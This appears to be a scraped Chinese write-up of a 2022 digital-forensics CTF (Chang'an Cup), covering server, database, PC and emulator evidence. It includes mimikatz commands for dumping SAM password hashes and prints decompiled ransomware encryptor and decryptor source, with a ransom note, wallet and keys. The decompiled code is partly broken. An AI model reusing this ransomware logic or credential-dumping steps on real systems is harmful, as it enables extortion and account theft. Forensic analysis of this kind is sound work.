数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第249张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第250张

检材1:根据报案人提供的网站域名和IP,警方调取了对应的服务器镜像“检材1”,分析掌握的检材回答下列问题

MjMzMg.Zhplu1Em6nv-BtSgO72J053ZZ5c

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第251张

查看用户登录登出信息的源文件地址:

/var/log/wtmp

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第252张

将其提取出来

who 命令可以直接读取 wtmp 文件并展示其中用户登录历史:

who wtmp

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第253张

操作系统发行版本号源文件地址:

/etc/*-release

在案件根目录下X-Ways文件名过滤*-release:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第254张

网卡配置文件路径:

/etc/sysconfig/network-scripts/ifcfg-ens

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第255张

或者在案件根目录搜索fcfgifcfg中的i可能会被截断)

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第256张

常见网站路径:

/var/www/html
/web/app

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第257张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第258张

过滤文件名称:*.jar

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第259张

jar包都在/web/app/路径中

原文:2022长安杯 - XDforensics-Wiki

思路一:

将jar包全部导出后, 使用Java Decompiler查看application.properties文件逐个分析, 查看是哪个jar包使用了7000端口, 在cloud.jar中发现使用7000端口。

配置文件路径为 BOOT-INFclassesapplication.properties

(Spring Boot 启动时,会自动读取 application.properties

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第260张

思路二:直接启动网站, 查看占用端口情况, 但是较难, 因为嫌疑人删除了启动脚本, 在做检材2时, D盘中会有该网站的启动脚本, 将检材2中的脚本复制到检材1中, 启动网站即可。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第261张

启动脚本start_web.sh内容:

sleep 20s
echo "Starting App:admin" 
nohup  java -jar /web/app/admin-api.jar &
sleep 20s
echo "Starting App:ucenter" 
nohup  java -jar /web/app/ucenter-api.jar &
sleep 20s
echo "Starting WEB:WEB" 
cd /web/app/web/
nohup npm run dev  &
cd /web/app
echo "Starting WEB:admin" 
cd /web/app/admin/
nohup npm run dev  &
cd /web/app
echo "Finish" kill

启动脚本start.sh内容:

sleep 2s
echo "Starting Zookeeper"
nohup /data/install/apache/zookeeper-3.4.10/bin/zkServer.sh start & 
sleep 2s
echo "Starting Kafka"
nohup /data/install/apache/kafka_2.12-1.0.1/bin/zookeeper-server-start.sh /data/install/apache/kafka_2.12-1.0.1/config/zookeeper.properties &
sleep 5s
nohup /data/install/apache/kafka_2.12-1.0.1/bin/kafka-server-start.sh /data/install/apache/kafka_2.12-1.0.1/config/server.properties &
echo "Finish" kill

通过看历史命令, 可以看到有很多关于 vue 文件的操作, find 命令搜一下 vue 文件, 可以看到都在 /web/app 这个目录下, 由此可以初步断定该网站使用了 vue 框架, 而简单搜索一下历史命令中的另一条 npm run dev 命令, 就能知道它是用来启动 vue 项目的, 同样我们可以得知 npm run 命令实际上是用来执行配置在 package.json 文件中的脚本的, 在历史命令的 50 条左右, 可以看到有对 web.tar 包的操作, 在解压 tar 包后就在该目录下执行了 npm installnpm run dev 命令

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第262张

在那就解压web.tar再在其目录下再执行:npm installnpm run dev可以成功构造网页

  • npm:Node Package Manager(Node.js 的包管理工具)
  • run:执行 package.json 文件中 scripts 部分定义的命令
  • dev:用户自定义的脚本名称,通常用于开发环境

即,npm run dev 实际上是 执行 package.json 中定义的 dev 命令

.vue 文件是 Vue.js 框架中的单文件组件(Single-File Component,SFC),用于构建 Vue 应用的 UI 组件。它通常包含 HTML、CSS 和 JavaScript,用于封装 Vue 组件的结构、样式和逻辑。)

再查看端口情况:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第263张

你会发现还是没有7000出现,因此将所有jar包运行并查看端口情况:

nohup  java -jar /web/app/cloud.jar

发现此时7000端口开启

方法1: 与检材2进行联合分析, 在检材2的 Google Chrome 历史记录中:

Users/XXX/AppData/Local/Google/Chrome/User Data/Default/History

可以看到后台管理对应 9090 端口, 且访问地址对应检材1的静态 IP

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第264张

方法2: 在日志.bash_history里可以看到, 嫌疑人在/web/app/admin/文件里执行了npm run dev

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第265张

  • npm:Node Package Manager(Node.js 的包管理工具)
  • run:执行 package.json 文件中 scripts 部分定义的命令
  • dev:用户自定义的脚本名称,通常用于开发环境

即,npm run dev 实际上是 执行 package.json 中定义的 dev 命令

检查package.json

{
    "name": "ztuo_admins",
    "version": "1.2.3",
    "description": "a management bases on iview",
    "main": "main.js",
    
    
    
    "scripts": {
        "init": "webpack --progress --config build/webpack.dev.config.js",
        "dev": "webpack-dev-server --content-base ./ --open --inline --hot --compress --config build/webpack.dev.config.js",
        "build": "webpack --progress --hide-modules --config build/webpack.prod.config.js"
    },
    
    
    
    
    "repository": {
        "type": "git",
        "url": "https://github.com/iview/iview-admin.git"
    },
    "author": "Lison<zhigang.li@tendcloud.com>",
    "license": "MIT",
    "dependencies": ,
    "devDependencies": 
}

这里使用build/webpack.dev.config.js作为配置文件, 再看看这个文件可找到监听端口为9090:

const webpack = require('webpack');
const HtmlWebpackPlugin = require('html-webpack-plugin');
const ExtractTextPlugin = require('extract-text-webpack-plugin');
const CopyWebpackPlugin = require('copy-webpack-plugin');
const merge = require('webpack-merge');
const webpackBaseConfig = require('./webpack.base.config.js');
const fs = require('fs');
const package = require('../package.json');
const ip = require('ip').address()

// fs.open('./build/env.js', 'w', function(err, fd) {
//     const buf = 'export default "development";';
//     fs.write(fd, buf, 0, buf.length, 0, function(err, written, buffer) {});
// });

module.exports = merge(webpackBaseConfig, {
    devtool: '#source-map',
    devServer: {
        port: 9090,
        host: "0.0.0.0"
    },
    output: {
        publicPath: '/dist/',
        filename: '[name].js',
        chunkFilename: '[name].chunk.js'
    },
    plugins: [
        new ExtractTextPlugin({
            filename: '[name].css',
            allChunks: true
        }),
        new webpack.optimize.CommonsChunkPlugin({
            name: ['vender-exten', 'vender-base'],
            minChunks: Infinity
        }),
        new HtmlWebpackPlugin({
            title: '后台管理',
            filename: '../index.html',
            template: './src/template/index.ejs',
            favicon: './favicon.ico',
            inject: false
        }),
        new CopyWebpackPlugin([{
            from: 'src/views/main-components/theme-switch/theme'
        }, ], {
            ignore: [
                //'text-editor.vue'
            ]
        })
    ]
});

思路一:由题6可构造出网页:发现apk下载地址,扫描二维码即可

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第266张

思路二:查看源码, 判定网站前端使用vue搭建, 在/web/app/web/src/app.vue中可以搜索关键词app二维码也可以找到:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第267张

参考文章:第四届长安杯电子取证大赛个人总结_2022长安杯电子数据取证竞赛-CSDN博客

重构网站对此题帮助不大,优先选择查看jar包是否包含所需内容,由于题目中已给出用户表表名为admin,可以选择优先查看admin-api.jar。使用jd-gui查看admin-api.jar

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第268张

由上题分析可知

找到对应的SAM文件及SYSTEM文件后(WindowsSystem32configSAMWindowsSystem32configSYSTEM)复制到我们物理机桌面,之后使用mimikatz提取密码,如下所示

privilege::debug
lsadump::sam /sam:SAM /system:SYSTEM

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第269张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第270张

电脑中装了Xshell,对其记录进行分析即可:、

/Users/Web King/Documents/NetSarang Computer/7/Xshell/Sessions

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第271张

由于power shell有类似CentOS终端记忆历史命令的功能,仿真检材2打开power shell按 ↑ 即可。

power shell历史命令文件名为ConsoleHost_history.txt。X-Ways文件名过滤:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第272张

查看下载记录:

Users/Web King/AppData/Local/Google/Chrome/User Data/Default/History

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第273张

可以发现下载了goDCEZTuo,二者本质上都是 数字资产交易所(CEX)后端框架,它们的功能类似,主要用于 中心化交易所(CEX)的后端开发goDCE开发语言是GO,ZTuo开发语言是JAVA

由前面题目所分析,货币交易网站是以JAVA语言开发的,并且使用了Spring Boot,与ZTuo项目后端技术吻合:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第274张

另一思路:检材一中/web/app/admin/web/app/web下分别有一个README.md文件,里面对应着github项目下的README.md

另另一思路:结合浏览器访问记录里的网站名称判断:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第275张

仿真查看:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第276张

不知道为什么没有,网上火眼取证的WP都直接出来了……

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第277张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第278张

(按照格式来的话答案为Ubuntu 20.04

进入wsl,mysql --version查看版本:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第279张

或者分析Ubuntu/Debian 系统的核心数据库文件,其记录所有已安装软件包的元数据和状态信息。:

C:UsersWeb KingAppDataLocalPackagesCanonicalGroupLimited.Ubuntu20.04LTS_79rhkp1fndgscLocalState
ootfsvarlibdpkgstatus

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第280张

debian-sys-maint用户的初始密码位于/etc/mysql/debian.cnf中,查看该文件:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第281张

检材2中wsl的history中有ssh连接检材3的记录:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第282张

在历史命令中发现嫌疑人进入了/data/mysql之后使用了docker-compose up

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第283张

进入目录/data/mysql后,查看docker-compose.yml配置文件,发现使用了端口33050:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第284张

首先netstat -anptu命令查看当前运行的所有连接中的socket,并没有发现33050端口的线索

-a: 显示所有连线中的Socket;
-p: 显示正在使用Socket的程序识别码和程序名称;
-n: 直接使用ip地址,而不通过域名服务器解析;
-t: 显示TCP传输协议的连线状况;
-u: 显示UDP传输协议的连线状况;

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第285张

根据历史记录可以猜测出33050是docker容器对外映射的一个端口。docker开启docker服务,查看容器:

systemctl start docker.service
docker ps

发现8e开头的这个容器做了端口映射3306<--->33050,将MySQL的端口暴露到外面。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第286张

但题目问的是监听33050端口的程序,我们再次运行netstat -anpt命令查看socket情况

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第287张

可以看到进程是docker-proxy

A. Postgresql
B. Redis
C. Oracle
D. MongoDB

由上题分析历史命令可以发现:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第288张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第289张
另一思路:

第9-10题对jar包的逆向分析中,我们从spring框架web应用程序的配置文件——application.properties文件中可以看到网站数据库依赖

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第290张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第291张

同时还发现了172.16.80.128:33050的jdbc配置信息,也就是它docker中MySQL的登录配置信息。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第292张

docker-compose.yml配置文件中能找到MYSQL配置数据:

/data/mysql/docker-compose.yml

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第293张

通过对docker-compose.yml的分析,可以看到它是将/data/mysql/db目录,挂载到了容器的/var/lib/mysql中,所以/var/lib/mysql就是他的数据目录

另一思路:进docker mysql内部 查看一下配置文件

docker exec -it 8e /bin/bash
whereis mysql
/etc/mysql/mysql.conf.d/mysqld.cnf

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第294张

注意配置文件中的datadir

另另一思路:进入docker容器内部,搜索一下常见mysql的证据文件

docker exec -it 8e /bin/bash
find / -name *.frm

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第295张

可以在命令历史记录中发现数据库服务器被删库过:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第296张

底下找到了删库的命令:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第297张

另一思路:

在对jar包的逆向中,只找到了cn.ztuo.bitrade.service.AdminService下的sql查询是admin表,并不知道它所属的数据库。

好在22题中,对jar包分析中找到了数据库进行jdbc连接时用的URL,其格式为子协议://服务器名或IP地址:端口号/数据库名?参数=参数值。由此知道该jdbc连接的是172.16.80.128:33050的b1数据库。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第298张

提到数据库用户操作,那自然是找MySQL日志,首先用show variables where Variable_name='general_log_file';命令找到MySQL日志路径

mysql -u root -p
shhl7001

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第299张

当然这是docker容器中的路径,我们可以去它的外部映射路径/data/mysql/db里找该日志文件,搜索关键词update即可,其中只有三条是修改用户手机号:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第300张

同理,搜索delete关键词:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第301张

过滤文件夹名b1,在检材2中发现两个相同大小的文件夹:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第302张

b1导入检材3/data/mysql/db

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第303张

使用navicat连接数据库,发现登录记录:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第304张

数据库恢复完成后(否则后台验证码难以加载)重构网站(检材一),在后台进行分析:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第305张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第306张

另一思路:继续分析数据库可找到:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第307张

首先在表中筛选grade=3的记录共158条

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第308张

分析日志中被删除的那28条用户中是否存在grade=3的用户

根据之前日志分析中,被删除的用户id为973~1000,因此数据库增加数据搜索关键词VALUES (973

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第309张

注意看倒数第四的数据为3的记录,再次搜索关键词:0, 3, 0, 0

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第310张

根据之前的分析,用户钱包中的可用余额与member_walletbalance列对应,因此balance值为0的用户没有充值记录:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第311张

另一思路:导出所有用户id(并加入删除的用户),在交易明细member_transaction中导出member_id列,进行去重后对比

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第312张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第313张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第314张

剖析后导出,同样导出所有用户ID,进行去重可得到:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第315张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第316张

交易记录中都是USDT的充值记录,进行SQL语句查询:

SELECT SUM(amount) FROM member_transaction WHERE symbol = 'USDT' AND type = 0;

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第317张

分析检材四,是一个.npbk文件:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第318张

得到npkb文件后,有两种处理方法

方法1:对安卓模拟器文件的取证,我们无需专门去安装对应的模拟器,可以直接用解压软件解压获得镜像文件

方法2:使用夜神模拟器的导入功能将npbk文件导入,得到一个新的模拟器,证实使用的是夜神模拟器

方法1,用手机大师进行取证,在微信聊天记录中找到:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第319张

聊天记录是还原案情的关键:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第320张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第321张

方法二:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第322张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第323张

软件名为录屏,搜索安装包:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第324张

由于是使用软件生成的录像文件,就去找这个应用对应的外部存储中的文件数据路径,这里的外部存储,也就是模拟器中 Amaze 文件结构中的主目录/storage/emulated/0/Android/data/com.jiadi.luping/files

Movies 文件夹下,长按选择【重命名】,就可以得到完整的文件名:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第325张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第326张

进行注销即可查看:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第327张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第328张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第329张

被加密的文档在分析检材二时出现过:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第330张

导出看图标就能看出是python语言编译的:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第331张

另一方法:使用Detect It Easy查看exe发现程序是pyinstaller生成的可执行文件,于是得出编译该加密程序使用的语言是python

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第332张

另另一方法:用ida反编译加密程序,查看字符串发现了很多py后缀,确定使用的语言就是python

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第333张

另另另一方法:将恶意程序提交到微步云沙箱,自动分析后得出其引擎为python

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第334张

jpg
png
zip
mp4
rar
7z
xls
docx
txt
mp3

对加密程序进行反编译(exe转pyc转py):

# Source Generated with Decompyle++
# File: D:/ctftools-all-in-one/libdll/ncrypt_file.exe_extracted/encrypt_file_1.pyc (Python 3.6)

import time
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
import os
pubkey = '-----BEGIN PUBLIC KEY-----
MIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQEAx5JF4elVDBaakgGeDSxI
CO1LyyZ6B2TgR4DNYiQoB1zAyWPDwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVo
bHVZh+rCI4MwAh+EBFUeT8Dzja4ZlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRn
HLFZvi/VXphGeW0qVeHkQ3Ll6hJ2fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYzi
SOT4PCf/O12Kuu9ZklsIAihRPl10SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhz
RDFn9IQ6YQRjlLjuOX8WB6H4NbnKX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/I
kwIEHoau+w==
-----END PUBLIC KEY-----
'
msg = "SOMETHING WENT WRONG,PLEASE CONTACT YOUR SYSTEM ADMINISTRATOR!
He can help you to understand whats happened.
If he can't help you,contact us via email:
aa1028@forensix.cn
ale@forensix.cn
HURRY UP!WE HAVE ANTIDOTE FOR YOUR FILES!DISCOUNT 20%FOR CLIENTS,WHO CONTACT US IN THE SAME DAY!
You can attach 2 files (text or picture)to check our honest intentions,we will heal them and send
back.
Please pay 0.618 ETH
The wallet address:0xef9edf6cdacb7d925aee0f9bd607b544c5758850
************************************
"

class XORCBC:
    
    def __init__(self = None, key = None):
        self.key = bytearray(key)
        self.cur = 0

    
    def encrypt(self = None, data = None):
        data = bytearray(data)
        for i in range(len(data)):
            tmp = data[i]
            data[i] ^= self.key[self.cur]
            self.key[self.cur] = tmp
            self.cur = (self.cur + 1) % len(self.key)
        
        return bytes(data)


print('加密程序V1.0')
print('文件正在加密中~~~~~~~~~~~~~~~~~~
')

def run_finall():
    for filepath, dirnames, filenames in os.walk(os.getcwd()):
        for filename in filenames:
            if filename != 'encrypt_file.py' and filename != 'decrypt_file.py' and '_encrypted' not in filename:
                ExtensionPath = os.path.splitext(filename)[-1]
                if not '.txt' == ExtensionPath and '.jpg' == ExtensionPath and '.xls' == ExtensionPath:
                    if '.docx' == ExtensionPath:
                        time.sleep(3)
                        data_file = os.path.join(filepath, filename)
                        rsakey = RSA.import_key(pubkey)
                        cipher = Cipher_pkcs1_v1_5.new(rsakey)
                        xor_key = os.urandom(16)
                        xor_obj = XORCBC(xor_key)
                        outf = open(data_file + '_encrypted', 'wb')
                        encrypted_xor_key = cipher.encrypt(xor_key)
                        outf.write(encrypted_xor_key)
                        buffer_size = 4096
                        with open(data_file, 'rb') as f:
                            while None:
                                data = f.read(buffer_size)
                                if not data:
                                    break
                        outf.close()
                        os.remove(data_file)
                return None

run_finall()

def redme():
    
    try:
        dir = os.path.join(os.path.expanduser('~'), 'Desktop')
        print(dir)
        with open(dir + '/!READ_ME.txt', 'w') as ff:
            ff.write(msg)
    except:
        dir1 = os.getcwd()
        print(dir1)
        with open(dir1 + '/!READ_ME.txt', 'w') as ff:
            ff.write(msg)
    


print('
加密完成~~~~~~~~~~~~~~~~~~')
os.system('pause')

Warning: block stack is not empty!

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第335张

由上题分析可知,是通过XOR异或算法对文件进行加密的

同理,源码中存在公钥

运行解密程序,发现需要密码:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第336张

反编译exe,得到:

# Source Generated with Decompyle++
# File: D:/ctftools-all-in-one/libdll/ecrypt_file.exe_extracted/decrypt_file_1.pyc (Python 3.6)

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
import os
prikey = '-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAx5JF4elVDBaakgGeDSxICO1LyyZ6B2TgR4DNYiQoB1zAyWPD
wektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVobHVZh+rCI4MwAh+EBFUeT8Dzja4Z
lU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRnHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2
fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYziSOT4PCf/O12Kuu9ZklsIAihRPl10
SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhzRDFn9IQ6YQRjlLjuOX8WB6H4NbnK
X/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/IkwIEHoau+wKCAQAlhHEjPTFQ7suY
U3Ji+L5TyeaFWYu3iDVmtzUTjUn2Yvr2+IyHKdU6z0vvGhsHYP8rUJcwWEBVaVbU
dQZ8TXT0flBgC35NyGQnTHHbNsOWRvFpto0Gom5KuDS0DYPrm+Ic1Ev0SfLdY+iK
V/uzjjeBF+CgEuvwO8xnYLsaFu6s0/ezQgEDBxpcN2KBBZoJ0eXxUUanEPkrLHA2
DhRgUCKQks1kpJrGZp/DLb8dKfhWoQ1FV/bBsmv9lVj1Yk14oKdvb51QK53Mnhiz
ji49S+tazVCA+lP0M6lVSB2uLyB5JldT4kqOQvhtURSzW8oeTM9w1rLvW7qi823U
WrJz+TQTAoGBAPIfUS9accG2fUA3AP93ZJU0SbZLc95JJXMyaRozFTTbxnMWB3sG
qM9X1qZ4hECVvLF3Sn73B6kF3IaC8/Vpc2cyPHpM+ytdxZVm4uW75ZwYAvKEJeT3
068CtcN6PvG3mFhvPsc3GK9FI1O63jrbSx+Y1hQlrVq6eMZUJh7V8BxXAoGBANMC
mhN2sC85Pz450JNoG6Q3db0nm9kUs157TUBMGJCfvgh2Rj0t08FcEKQn+idtOf6Z
Zc2lRoLeaRq539Ex8zzsD7Dl7bFtePRsuDcAMuIFY2S0Z8jjj9BaCirrUluu1FWp
TV60As9YBLnRosLTrYtgym+GNjdE/42uFRBJk9AlAoGBAIyGeStBbau1BmMSeTJt
9QYjl95MJZXTbJD4IFV73nVG66I/yKp9Ry3Q1hHf/oDm6bepslI/7+lLK1TPRv7T
O0PNY92vya15RUvFerOz2QvOz9SRh/ZU6rEwsy0qZtanGZ7pKCSsQIwcJcsTKdjO
vMj9QIqxqmdpdh6zFDeGKu4/AoGAEzFuMCQH+liRp9MEZtEtoqtUSwbwhSUh4hl+
nScp+a+sKIaF/ohJfXeBctWCF6iU/N5TH7SlnfBlZE7MBJHiiAz8EwWI4u4EmFkc
7RvmfXowLO9L4pG2rzwcMGgrs9cJm+NcjlNmq+Kx4q+F4lHNN8+/7NPdmDyiUlAD
ATZCds8CgYEA2CFvsH+TUV3Q63UdTsdrUKK86vohjGSaoai7mEUGo4iZ/Ie+ScAa
GtPFZUhO7EJqh2rNqAakfZGgKU43hAjiUHIjvZdAFNoqpNxO+bkEIPSFQQ6o34r3
aGTj9Pz1UH/ByW76V7defT/2jQsXHHFiVGpDU6WT80bInLqDQRxlDRk=
-----END RSA PRIVATE KEY-----
'

class XORCBC:
    
    def __init__(self = None, key = None):
        self.key = bytearray(key)
        self.cur = 0

    
    def decrypt(self = None, data = None):
        data = bytearray(data)
        for i in range(len(data)):
            data[i] ^= self.key[self.cur]
            self.key[self.cur] = data[i]
            self.cur = (self.cur + 1) % len(self.key)
        
        return bytes(data)



def run_decrypt():
    print('解密程序 V1.0
')
    present = input('请输入密码:')
    if present == '4008003721':
        for filepath, dirnames, filenames in os.walk(os.getcwd()):
            for filename in filenames:
                if '_encrypted' in filename:
                    print(os.path.join(filepath, filename) + '-解密成功')
                    data_file = os.path.join(filepath, filename)
                    data_handle = open(data_file, 'rb')
                    rsakey = RSA.import_key(prikey)
                    cipher = Cipher_pkcs1_v1_5.new(rsakey)
                    xor_key = cipher.decrypt(data_handle.read(256), '')
                    xor_obj = XORCBC(xor_key)
                    outname = data_file.replace('_encrypted', '')
                    outf = open(outname, 'wb')
                    buffer_size = 4096
                    while None:
                        data = data_handle.read(buffer_size)
                        if not data:
                            break
                    outf.close()
        
        print('
恭喜您,解密成功~~~~~~~~~~~~~~~')
        os.system('pause')
    else:
        print('
密码错误~~~~~~~~~~~~~~~')
        run_decrypt()

run_decrypt()

密码就在源码中,直接解密得到flag:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第337张

网站前台APK下载地址被技术员修改成恶意APK了,在链接下载APK后对其进行分析:

